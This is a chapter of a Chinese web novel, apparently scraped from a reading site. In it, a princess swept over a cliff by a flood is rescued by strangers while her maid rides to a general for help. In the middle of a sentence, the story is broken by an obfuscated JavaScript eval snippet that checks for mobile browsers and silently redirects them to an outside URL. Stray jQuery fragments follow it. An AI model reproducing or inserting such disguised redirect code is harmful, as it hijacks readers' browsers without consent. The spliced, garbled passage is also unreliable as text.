26.26

作品:《咸鱼公主靠毒术杀疯了

    长安城一连数日笼罩在瓢泼大雨之中,铅灰色的天幕仿佛裂开了口子。雨水倾泻如注,将街巷屋瓦冲刷得一片湿冷,似是要将这世间一切污浊都涤荡干净,以迎接即将到来的团圆佳节。


    然而,在这暴雨肆虐之时,城外那座常年云雾缭绕、地势险峻的荷山,却迎来了一批不速之客。山中草木蓊郁,传闻草药繁盛,却也因路径险僻,鲜有人迹。


    “救……救命……噗……”浑浊的泥水呛入口鼻,浮梦在水中挣扎,声音微弱得瞬间被咆哮的水声吞没。


    “公主殿下!殿下——!”春意声嘶力竭的哭喊声在风雨中显得如此无助。


    她死死抱住一段裸露在泥水外的粗壮树根,双眼赤红,死死盯着前方——那里,原本是坚实的山路,此刻竟被汹涌的山洪撕裂,形成一道骇人的断崖。


    谁能料到,连日的暴雨竟在深山引发了如此恐怖的山洪,更可怕的是,她们身后还有一群来历不明、出手狠辣的黑衣人紧追不舍。


    浮梦为了躲避劈砍而来的刀锋,脚下湿滑的泥土陡然崩塌,整个人瞬间被裹挟着泥沙碎石的洪流卷走,直冲向那突然出现的悬崖边缘。


    她想伸手抓住沿途的藤蔓或灌木,可冰冷刺骨的洪水冲击着她,四肢早已冻得麻木僵硬,根本使不上半分力气。


    春意走在稍前的位置,山洪袭来时,只听得公主一声急促的“小心!”。


    再回头,便只看到那抹素色的身影在黄褐色的泥流中一闪,旋即被吞没,不见踪影。


    而她则被一股侧向的水流冲开,侥幸抱住树根得以喘息,却只能眼睁睁看着公主被洪流裹挟着冲向断崖。


    幸运的是,这突如其来的山洪也暂时阻断了那群黑衣人的追击。他们在暴雨中现身,一言不发,刀光凛冽,目的明确,取人性命。


    春意强忍悲痛与恐惧,借着林木和巨石的掩护,小心翼翼地隐藏着身形。她看到那些黑衣人在崖边来回搜寻,试图找到下去的路。


    “这么高的悬崖,又被洪水冲下去,肯定活不成了!”一个声音带着侥幸说道。


    “啪!”一声脆响,那人被领头者狠狠扇了一巴掌,“少废话!生要见人,死要见尸!仔细找!”


    四五个人在崖边逡巡良久,然而暴雨冲刷,山路本就难辨,加之新形成的断崖陡峭湿滑,他们始终找不到安全下崖的路径。


    天色愈发昏暗,雨势却未见稍减。领头者啐了一口混着雨水的唾沫,恨声道:“先撤!明日多带些人手,再来搜山!务必找到她!”


    一行人悻悻离去,脚步声渐渐消失在滂沱雨声中。


    春意紧绷的神经不敢有丝毫放松,她不断调整藏身的位置,屏息凝神,直到确认周围再无声息,才敢从一块巨石后悄悄探出身来。


    此刻,她心中有些感激平日里公主研习药理时,自己跑去前院跟着守卫偷学的几招粗浅功夫。


    她踉跄着扑到崖边,只见下方云雾弥漫,雨水如注,深不见底,只有洪水奔流的咆哮声隐隐传来。


    不能再等了!春意一抹脸上的雨水和泪水,咬紧牙关,转身沿着来时模糊的记忆,深一脚浅一脚地朝着山下疯狂奔去。如今,所有的希望都寄托在驸马爷身上了,她必须尽快赶回城报信。


    ……


    几乎在同一时间,另一行身着粗布麻衣、体格精悍的汉子,趁着天色擦黑、雨幕最密的时分,悄无声息地进入了荷山。他们走的是一条极为隐蔽的小径,恰好与那批下山离去的黑衣人错身而过。


    双方在狭窄的山道上迎面相遇,俱是一愣,警惕地互相打量了片刻,空气中弥漫着无声的紧张。最终,谁也没有开口,默契地各自错身,迅速消失在相反的雨幕之中。


    “苏哥,这荷山今日倒是热闹。”麻衣队伍中,一个年轻些的汉子低声嘟囔,“咱们当初把备用据点选在这儿,不就是图它人迹罕至吗?”


    走在队伍最后,被称为“苏哥”的男子面容冷峻,神色未动,只是淡淡吐出两个字:“不知。”


    他便是苏安。此前京郊的庄园被焚毁,他们不得已才撤回这处早年建立的隐秘据点。此地蛇虫遍布,环境恶劣,从前是用来惩戒犯错之人的地方。


    他们沿着小道直达位于山谷深处的废弃庄园,这里被密林环绕,极难被外界发现。


    然而,就在苏安踏入那扇吱呀作响的木门前,他敏锐的耳朵捕捉到不远处河边传来一丝极其微弱、几乎被雨声淹没的呼吸声。


    夜幕彻底降临,破败的庄园内,一群人很快陷入沉睡,鼾声与屋外的雨声交织。


    苏安却睁着眼,听着那均匀的呼吸声,脑海中却反复回响着河边那缕微弱的生机。


    他掀开散发着霉味的薄被,身形如鬼魅般悄无声息地滑出屋子,几个起落便来到了水声轰鸣的河边。


    借着偶尔划破夜空的闪电,他看到一个半截身子埋在泥泞里、半截身子被水流冲刷的人形“泥团”。苏安用脚尖轻轻踢了踢,冰冷僵硬。“喂,还活着吗?”他低声问,声音没有任何温度。


    没有回应。只有那细微到几乎察觉不到的呼吸,证明这还是个活物。


    苏安皱了皱眉,转身欲走。


    多年的残酷经历早已教会他,不必要的仁慈只会带来麻烦和死亡。他向外走了几步,可那孱弱的呼吸声仿佛在他耳边越来越响,甚至盖过了隆隆的雨声。


    他烦躁地捂住耳朵,那声音却如同魔音灌脑,挥之不去。


    最终,他低低地咒骂了一声,像是跟自己妥协。


    他折返回来,弯腰拎起那冰冷的“泥团”,粗暴地在浑浊的河水里涮了涮,勉强露出一张苍白如纸、双目紧闭的女子面容,他并未细看,也未认出。


    屏住呼吸,他凭借对地形的熟悉,巧妙地绕开所有可能的守卫视线,提着这个意外的“负担”,疾步向山下走去。


    在山脚找到一处废弃的破庙,他将人随意地扔在尚能遮雨的角落里,仿佛扔掉一件垃圾,随即毫不留恋地转身,再次没入雨夜,返回山中。


    做完这一切,他心中那莫名的烦躁似乎平息了些,或许……今晚能睡个好觉了。


    ……


    “这鬼天气,雨怎么还不停!”吴聿躲在破庙的门廊下,望着外面连绵的雨幕,低声抱怨。


    她见今日清晨天色稍霁,便想着来荷山碰碰运气,看能否采到些值钱的草药,好换钱为母亲抓药。


    谁知刚进山不久,暴雨复至,她只得狼狈下山,眼见天色已晚无法回城,便想起这处山


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16456044|179669||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    脚的破庙可以暂避风雨。


    “本以为这荷山能有点收获,附近的山头都快被我踏遍了……”她叹着气,推开虚掩的庙门,打算在此将就一晚。


    庙内昏暗,借着门外微弱的天光,她隐约看到角落里似乎蜷缩着一个人影!在这荒山野岭、暴雨倾盆的夜晚,于荷山脚下撞见这等事,简直比撞鬼还让人毛骨悚然!


    吴聿吓得心跳漏了一拍,放下药篮,声音发颤:“嘿……你、你是人是鬼?”


    回应她的,只有穿堂而过的冷风和庙外哗啦啦的雨声。


    她壮着胆子,往前凑近几步,小心翼翼地去推那人的肩膀。谁知,那人随着她的力道,“啪”地一下直接仰面躺倒在地,依旧一动不动。


    “啊——!”吴聿以为对方暴起发难,加上庙外狂风呼啸,卷着雨点砸在破窗上,如同鬼哭,她吓得失声尖叫,猛地闭上眼睛。


    待风声稍歇,她才敢颤巍巍地睁开一条眼缝。这一看,更是惊得魂飞魄散!


    “恩……恩人?!怎么是您?!”虽然对方一身狼狈的男装打扮,脸上也毫无血色,但吴聿还是一眼认出了这正是当日在那间药铺前,慷慨解囊救助她母亲的恩人。


    她连忙将昏迷不醒的浮梦扶起,移到庙内一个相对背风干燥的角落。手指搭上她的腕脉,吴聿的脸色瞬间变得惨白。


    “高热不退!身上还有多处流血!”她心急如焚,手忙脚乱地抓过自己的药篮,开始疯狂翻找。可惜,篮子里只是些寻常草药,用于清热消炎尚可,但对于如此凶险的高热和内外伤,根本是杯水车薪。


    情急之下,她也顾不得许多,抓起几味有止血消炎之效的草药,一股脑塞进嘴里,拼命咀嚼起来。极度的苦涩瞬间充斥口腔,刺激得他眼泪直流,但他强忍着,将嚼烂的药草小心地敷在浮梦身上几处明显的伤口上。


    ……


    与此同时,春意终于连滚带爬地冲下了山


    。她找到系在山下的马匹,几乎是凭着本能,一跃而上,疯狂地挥动马鞭,朝着长安城的方向疾驰而去。这一刻,求援的信念压倒了一切,甚至让她忘记了自己其实并不精通骑术。


    终于在城门即将落钥的前一刻,她冲入了城内。顾不得城中禁止驰马的规定,她一路策马狂奔,直到看见将军府熟悉的门楣,才力竭地从马背上滚落。


    “将……将军!快找将军!”她嘶哑地喊着,几乎用尽了最后一丝力气。


    一直心神不宁、守在院中的崔逢青,如同听到了命运的召唤,身形如电般瞬间掠至门外。


    “何事?!”他的声音带着自己都未察觉的紧绷。


    春意趴在地上,艰难地抬起头,雨水和泪水混杂在一起,一字一顿,如同泣血:“荷山……西面……悬崖……救……救公主……”


    话音未落,她再也支撑不住,眼前一黑,彻底晕厥过去。


    崔逢青浑身猛地一僵,血液仿佛在瞬间冻结。


    果然……还是出事了!


    他眼中瞬间卷起骇人的风暴,再不多言一句,猛地转身,牵过一旁亲卫手中的骏马,翻身而上,狠狠一夹马腹!


    骏马吃痛,长嘶一声,如同一道离弦的黑色闪电,冲破雨幕,朝着城外荷山的方向疾驰而去。